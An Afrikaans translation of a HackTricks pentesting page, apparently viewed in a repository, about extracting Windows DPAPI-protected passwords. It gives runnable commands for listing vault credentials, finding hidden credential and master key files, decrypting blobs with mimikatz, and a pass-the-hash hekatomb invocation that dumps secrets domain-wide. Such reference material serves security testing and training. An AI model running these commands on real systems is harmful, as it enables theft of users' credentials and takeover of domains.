hacktricks/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
2024-02-11 02:07:06 +00:00

9.4 KiB
Raw Blame History

DPAPI - Uittreksel van Wagwoorde

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

RootedCON is die mees relevante cybersecurity-gebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en cybersecurity-professionals in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

Wat is DPAPI

Die Data Protection API (DPAPI) word hoofsaaklik gebruik binne die Windows-bedryfstelsel vir die simmetriese versleuteling van asimmetriese privaatsleutels, waarby gebruikers- of stelselsekretes as 'n belangrike bron van entropie gebruik word. Hierdie benadering vereenvoudig versleuteling vir ontwikkelaars deur hulle in staat te stel om data te versleutel met 'n sleutel wat afgelei is van die gebruiker se aanmeldingsgeheime of, vir stelselversleuteling, die stelsel se domein-verifikasiegeheime, en sodoende die behoefte vir ontwikkelaars om die beskerming van die versleutelingssleutel self te bestuur, te vermy.

Deur DPAPI beskermde data

Onder die persoonlike data wat deur DPAPI beskerm word, is:

  • Wagwoorde en outomatiese voltooiingsdata vir Internet Explorer en Google Chrome
  • E-pos en interne FTP-rekeningwagwoorde vir toepassings soos Outlook en Windows Mail
  • Wagwoorde vir gedeelde lêers, hulpbronne, draadlose netwerke en Windows Vault, insluitend versleutelingssleutels
  • Wagwoorde vir afstandsbeheerverbindings, .NET Passport en privaatsleutels vir verskeie versleuteling- en verifikasiedoeleindes
  • Netwerkwagwoorde wat deur Credential Manager bestuur word en persoonlike data in toepassings wat CryptProtectData gebruik, soos Skype, MSN Messenger en meer

Lys van die kluis

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Verifikasie-lêers

Die verifikasie-lêers wat beskerm word, kan gevind word in:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Kry geloofsbriewe-inligting deur gebruik te maak van mimikatz dpapi::cred. In die respons kan jy interessante inligting vind soos die versleutelde data en die guidMasterKey.

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

Jy kan die mimikatz-module dpapi::cred gebruik met die toepaslike /masterkey om te ontsleutel:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Meestersleutels

Die DPAPI-sleutels wat gebruik word om die gebruiker se RSA-sleutels te enkripteer, word gestoor onder die %APPDATA%\Microsoft\Protect\{SID}-gids, waar {SID} die Veiligheidsidentifiseerder van daardie gebruiker is. Die DPAPI-sleutel word gestoor in dieselfde lêer as die meestersleutel wat die gebruiker se privaatsleutels beskerm. Dit is gewoonlik 64 byte van lukrake data. (Let daarop dat hierdie gids beskerm is, sodat jy dit nie kan lys met behulp van dir vanaf die opdraglyn nie, maar jy kan dit vanaf PS lys).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

Dit is hoe 'n klomp Meestersleutels van 'n gebruiker lyk:

Gewoonlik is elke Meestersleutel 'n versleutelde simmetriese sleutel wat ander inhoud kan ontsluit. Daarom is dit interessant om die versleutelde Meestersleutel te onttrek om later daardie ander inhoud wat daarmee versleutel is, te ontsleutel.

Onttrek Meestersleutel & ontsluit

Kyk na die pos https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ vir 'n voorbeeld van hoe om die Meestersleutel te onttrek en dit te ontsluit.

SharpDPAPI

SharpDPAPI is 'n C#-weergawe van sommige DPAPI-funksionaliteit van @gentilkiwi's Mimikatz projek.

HEKATOMB

HEKATOMB is 'n instrument wat outomaties die onttrekking van alle gebruikers en rekenaars uit die LDAP-gids en die onttrekking van die rugsteun sleutel van die domeinbeheerder deur RPC outomatiseer. Die skrip sal dan al die rekenaar se IP-adresse oplos en 'n smbclient op al die rekenaars uitvoer om al die DPAPI-blobs van alle gebruikers te herwin en alles met die domein rugsteun sleutel te ontsluit.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

Met die uit LDAP onttrekking van rekenaarlys kan jy elke subnet vind, selfs as jy dit nie geweet het nie!

"Omdat domeinbeheerderregte nie genoeg is nie. Hack hulle almal."

DonPAPI

DonPAPI kan outomaties geheime beskerm deur DPAPI dump.

Verwysings

RootedCON is die mees relevante kuberveiligheidsevent in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidsprofessionals in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!